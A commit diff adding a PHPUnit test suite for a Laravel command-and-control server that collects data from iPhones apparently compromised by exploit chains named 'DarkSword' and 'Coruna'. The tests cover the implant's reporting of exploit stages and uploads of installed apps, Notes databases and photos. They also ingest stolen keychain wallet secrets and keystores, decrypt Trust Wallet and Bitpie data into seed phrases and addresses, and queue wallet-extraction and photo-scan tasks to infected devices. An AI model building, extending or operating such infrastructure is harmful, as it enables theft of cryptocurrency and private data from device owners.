This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
+851
View File
@@ -0,0 +1,851 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\DsBeaconTask;
use App\Models\DsChainLog;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use App\Services\DsBeaconQueue;
use App\Services\EthKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DarkSwordC2ApiTest extends TestCase
{
use RefreshDatabase;
private const DS_LHU = '69DD25B2CA8B5682BA2470D77124E2FC';
private const XXBB_D = '000C30D83CD0402E';
private const TEST_MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
}
#[Test]
public function log_post_returns_accepted(): void
{
$this->postJson('/api/ds/log', ['text' => 'hello', 'source' => 'pe_mpd'])
->assertOk()
->assertExactJson(['status' => 'accepted']);
$this->assertSame(0, DsChainLog::query()->count());
}
#[Test]
public function log_with_stage_writes_chain_log_and_dedups(): void
{
$payload = [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'stage' => 'loader',
'progress' => 18,
'label' => 'loader',
'channelCode' => 'BODOZR5F613N9',
];
$this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']);
$this->postJson('/api/ds/log', $payload)->assertOk();
$this->assertSame(1, DsChainLog::query()->count());
$row = DsChainLog::query()->first();
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
$this->assertSame('loader', $row->stage);
$this->assertSame(18, $row->progress);
$this->assertSame('BODOZR5F613N9', $row->channel_id);
}
#[Test]
public function log_infers_stage_and_ignores_noise(): void
{
$this->postJson('/api/ds/log', [
'text' => 'malloc ok 0x1234',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
])->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
$this->postJson('/api/ds/log', [
'text' => 'pe_main_start',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
])->assertOk();
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
$this->assertSame('pe', $row->stage);
$this->assertSame(86, $row->progress);
}
#[Test]
public function next_chain_does_not_steal_ds_api_or_logs(): void
{
$this->getJson('/api/ds/chain-targets?ios=18.6')
->assertOk()
->assertJson([
'ok' => true,
'chain' => 'darksword',
]);
$this->get('/log.html?text=lab')
->assertOk()
->assertSee('ok', false);
$this->get('/api/ds/log?text=lab')
->assertOk()
->assertSee('ok', false);
}
#[Test]
public function pe_stage_get_writes_file_log_and_chain_row(): void
{
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
->assertOk()
->assertSee('ok', false);
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
$this->assertSame('pe', $row->stage);
$this->assertSame(86, $row->progress);
$this->assertSame('pe_stage:s1_launchd', $row->label);
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
->assertOk();
$this->assertSame(2, DsChainLog::query()->count());
$this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label);
$this->assertSame(94, DsChainLog::query()->orderByDesc('id')->first()->progress);
$this->get('/api/ds/pe-stage/s2_keychain')
->assertOk()
->assertSee('ok', false);
$this->assertSame(2, DsChainLog::query()->count());
}
#[Test]
public function plaintext_a_ingests_darksword_device(): void
{
$this->postJson('/a', [
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'ip' => '192.168.31.77',
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame('iPhone15,2', $device->device_model);
$this->assertSame('18.6', $device->ios_version);
$this->assertSame('192.168.31.77', $device->ip);
$this->assertNull($device->channel_id);
}
#[Test]
public function shared_path_with_x_ts_still_uses_xxbb_ack(): void
{
$this->xxbbPost('/a', [
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'd' => self::XXBB_D,
'f' => self::XXBB_D,
'deviceModel' => 'iPhone',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk()->assertSee('1786468227899{}', false);
$xxbb = Device::query()->where('device_id', self::XXBB_D)->first();
$this->assertNotNull($xxbb);
$this->assertSame(Device::FAMILY_CORUNA, $xxbb->family);
$this->postJson('/a', [
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
])->assertOk()->assertJson(['ok' => true]);
$ds = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($ds);
$this->assertSame(Device::FAMILY_DARKSWORD, $ds->family);
$this->assertSame(2, Device::query()->count());
}
#[Test]
public function register_accepts_query_style_channel_code(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'channeICode' => '0.0.01',
'ios' => '18.6',
'chain' => 'darksword',
])->assertOk()->assertJson(['ok' => true]);
$visit = PageVisit::query()->first();
$this->assertNotNull($visit);
$this->assertSame('0.0.01', $visit->channel_id);
}
#[Test]
public function register_uses_channel_code_not_ver_header(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'channelCode' => 'BODOZR5F613N9',
'ios' => '18.6',
'chain' => 'darksword',
], [
'ver' => '3.1.07',
'sdkv' => '3.1.07',
])->assertOk()->assertJson(['ok' => true]);
$this->assertNull(Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first());
$visit = PageVisit::query()->first();
$this->assertNotNull($visit);
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $visit->client_uid);
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain);
$this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain));
$this->assertSame('BODOZR5F613N9', $visit->channel_id);
$this->assertSame('iOS', $visit->os);
$this->assertSame('18.6', $visit->os_version);
$this->postJson('/a', [
'lhu' => '50624FE26CC4A0DF689EAEA117557C3E',
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'source' => 'c2_agent',
])->assertOk();
$device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame('BODOZR5F613N9', $device->channel_id);
$this->assertSame('18.6', $device->ios_version);
}
#[Test]
public function u_writes_device_apps_from_object_or_list(): void
{
$this->postJson('/u', [
'lhu' => self::DS_LHU,
'apps' => [
'0' => ['bundleId' => 'im.token.app', 'name' => 'imToken'],
'1' => ['bundleId' => 'com.apple.MobileSMS', 'name' => 'Messages'],
],
'count' => 2,
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
$this->assertTrue(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->exists()
);
$this->assertFalse(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists()
);
$this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet);
}
#[Test]
public function nb_writes_notes_and_stores_sqlite_blob(): void
{
Storage::fake('local');
$sqlite = "SQLite format 3\0lab-notes";
$this->postJson('/nb', [
'lhu' => self::DS_LHU,
'list' => [['id' => 4, 'title' => 'jdmdm', 'snippet' => 'hello', 'mod' => 0]],
'db_files' => [[
'name' => 'NoteStore.sqlite',
'data' => base64_encode($sqlite),
]],
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertNotNull($note);
$this->assertSame('jdmdm', $note->content[0]['title'] ?? null);
Storage::disk('local')->assertExists('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite');
$this->assertSame($sqlite, Storage::disk('local')->get('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite'));
}
#[Test]
public function war_without_mnemonic_stores_keystore_only(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'source' => 'pe_war_guarantee',
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
]],
],
],
'errors' => ['aksUnwrap class=10 kr=3758097090'],
],
'sandbox' => [
'imtoken' => ['keystore.json' => '{"version":3}'],
],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
$this->assertTrue($rows->every(fn ($row) => (int) $row->decrypted === 0));
$sources = $rows->pluck('source')->all();
$this->assertContains('Trust Wallet', $sources);
$this->assertContains('imToken', $sources);
}
#[Test]
public function war_twelve_word_phrase_ingests_mnemonic(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex(self::TEST_MNEMONIC),
]],
],
],
],
'sandbox' => [],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(self::TEST_MNEMONIC, $row->mnemonic);
$this->assertSame('Trust Wallet', $row->source);
}
#[Test]
public function war_trust_utc_ingests_btc_eth_trx_cap_two(): void
{
Http::fake();
$utc = [
'crypto' => ['cipher' => 'aes-128-ctr'],
'activeAccounts' => [
['address' => 'bc1qnt0t864aqfwxsltmhpytrck2z9aqgaf6vpu4xc', 'coin' => 0],
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 60],
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 137],
['address' => 'TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', 'coin' => 195],
['address' => 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x', 'coin' => 2],
['address' => 'bc1qsecondonlyforcapxxxxxxxxxxxxxxxxxxx', 'coin' => 0],
['address' => 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx', 'coin' => 0],
],
];
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get();
$this->assertSame(4, $rows->count());
$this->assertSame(['BITCOIN', 'BITCOIN', 'ETHEREUM', 'TRON'], $rows->pluck('chain_type')->sort()->values()->all());
$this->assertTrue($rows->every(fn ($row) => $row->source === 'Trust Wallet'));
$this->assertSame(2, $rows->where('chain_type', 'BITCOIN')->count());
$this->assertFalse($rows->contains('address', 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx'));
$this->assertFalse($rows->contains('address', 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x'));
}
#[Test]
public function war_class10_unwrap_failure_is_not_a_mnemonic(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'class' => 10,
'layer3Error' => 'aks_unwrap kr=3758097090',
'dataHex' => bin2hex(self::TEST_MNEMONIC),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertSame('Trust Wallet', $ks->source);
$this->assertSame(0, (int) $ks->decrypted);
}
#[Test]
public function war_trust_utc_decrypts_mnemonic_from_keychain_key(): void
{
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
$this->assertIsString($password);
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('ab', 32),
]);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'account' => 'trustwalletUTC--demo',
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex($password),
]],
],
],
],
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
$this->assertSame('Trust Wallet', $mnemonic->source);
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
$this->assertGreaterThanOrEqual(1, $rows->count());
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
}
#[Test]
public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void
{
Http::fake();
$entropy = '00000000000000000000000000000000';
$trx = app(\App\Services\Chain\TronDriver::class)->deriveAddress(self::TEST_MNEMONIC, 0);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'bitpie' => [
'count' => 2,
'items' => [
[
'account' => 'seedPhraseEntropy',
'service' => 'com.bitpie.wallet',
'dataHex' => bin2hex(strtoupper($entropy)),
],
[
'account' => 'userAddressKey',
'service' => 'com.bitpie.wallet',
'dataHex' => bin2hex($trx),
],
],
],
],
],
'sandbox' => [
'bitpie' => [
'Library/Preferences/com.bitpie.wallet.plist' => base64_encode(
'kUserAddressesConfigure[{"address":"'.$trx.'","coin_code":"trx-trx"}]'
),
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Bitpie')->first();
$this->assertNotNull($mnemonic);
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Bitpie')->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $trx)
->where('source', 'Bitpie')
->first();
$this->assertNotNull($addr);
$this->assertSame('TRON', $addr->chain_type);
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
}
#[Test]
public function beacon_walks_default_queue_then_loops_scan_tasks(): void
{
$types = DsBeaconQueue::TYPES;
$commandIds = [];
foreach ($types as $type) {
$resp = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson([
'ok' => true,
'type' => $type,
'uuid' => self::DS_LHU,
]);
$commandId = $resp->json('command_id');
$this->assertNotEmpty($commandId);
$commandIds[] = $commandId;
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $commandId,
'filename' => $type.'_result.json',
'category' => $type,
'status' => 'success',
])->assertOk();
}
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
$this->assertSame(
count($types),
DsBeaconTask::query()->where('device_id', $device->id)->where('status', DsBeaconTask::STATUS_DONE)->count()
);
$first = DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'wallet_extract')
->first();
$this->assertNotNull($first);
$this->assertSame(DsBeaconTask::STATUS_DONE, $first->status);
$this->assertSame(1, $first->result_count);
$this->assertSame('wallet_extract_result.json', $first->result_meta['filename'] ?? null);
$loop = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'wallet_extract',
'uuid' => self::DS_LHU,
]);
$loopId = $loop->json('command_id');
$this->assertNotEmpty($loopId);
$this->assertNotSame($commandIds[0], $loopId);
$first->refresh();
$this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $first->status);
$this->assertSame($loopId, $first->command_id);
$this->assertSame(1, $first->result_count);
$this->assertSame(
3,
DsBeaconTask::query()
->where('device_id', $device->id)
->whereIn('type', ['wallet_scan', 'photo_scan', 'apps'])
->where('status', DsBeaconTask::STATUS_PENDING)
->count()
);
$this->assertSame(
0,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count()
);
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', $device))
->assertOk()
->assertSee('C2 队列')
->assertSee('wallet_extract')
->assertSee('wallet_scan')
->assertSee('photo_scan')
->assertDontSee('basic_info');
$this->assertNotContains('photos', $types);
$this->assertNotContains('basic_info', $types);
$this->assertContains('photo_scan', $types);
}
#[Test]
public function beacon_redelivers_dispatched_task_until_result(): void
{
$first = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
$retry = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$task = DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'wallet_extract')
->first();
$this->assertNotNull($task);
$this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $task->status);
$this->assertSame($retryId, $task->command_id);
$this->assertSame(2, (int) ($task->result_meta['dispatch_count'] ?? 0));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $retryId,
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'status' => 'success',
])->assertOk();
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
}
#[Test]
public function beacon_skips_legacy_photos_task(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photos',
'status' => DsBeaconTask::STATUS_PENDING,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 2,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_PENDING,
]);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photo_scan']);
$this->assertSame(
DsBeaconTask::STATUS_SKIPPED,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status')
);
}
#[Test]
public function result_stores_files_and_skips_video(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-1',
]);
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'IMG_0005.MP4',
'category' => 'photos',
'data' => base64_encode('ftypisom'),
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'photo_scan.json',
'data' => base64_encode('{"status":"success","uploaded":1}'),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0003.PNG');
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/photo_scan.json');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0005.MP4');
}
#[Test]
public function result_skips_duplicate_payloads_already_ingested(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-dup-1',
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 2,
'type' => 'wallet_extract',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-wallet-dup-1',
]);
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-dup-1',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-wallet-dup-1',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'data' => base64_encode('{"status":"success","wallets":1}'),
])->assertOk();
DsBeaconTask::query()->where('command_id', 'dsq-photo-dup-1')->update([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-dup-2',
]);
DsBeaconTask::query()->where('type', 'wallet_extract')->update([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-wallet-dup-2',
]);
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-dup-2',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-wallet-dup-2',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'data' => base64_encode('{"status":"success","wallets":1}'),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-1/IMG_0003.PNG');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-2/IMG_0003.PNG');
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-1/wallet_extract_result.json');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-2/wallet_extract_result.json');
}
#[Test]
public function result_assembles_chunks_before_store(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
]);
$task = DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-chunk-1',
]);
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $task->command_id,
'filename' => 'IMG_0002.PNG',
'category' => 'photos',
'chunk_index' => 0,
'total_chunks' => 2,
'data' => base64_encode("\x89PNG"),
])->assertOk();
$this->assertSame(0, Photo::query()->count());
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $task->command_id,
'filename' => 'IMG_0002.PNG',
'category' => 'photos',
'chunk_index' => 1,
'total_chunks' => 2,
'data' => base64_encode("\r\n\x1a\n"),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG');
$this->assertSame(
"\x89PNG\r\n\x1a\n",
Storage::disk('local')->get('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG')
);
}
#[Test]
public function event_heartbeats_without_device_events(): void
{
$this->postJson('/event', [
'lhu' => self::DS_LHU,
'et' => 'injection_success',
])->assertOk()->assertJson(['ok' => true]);
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first());
}
}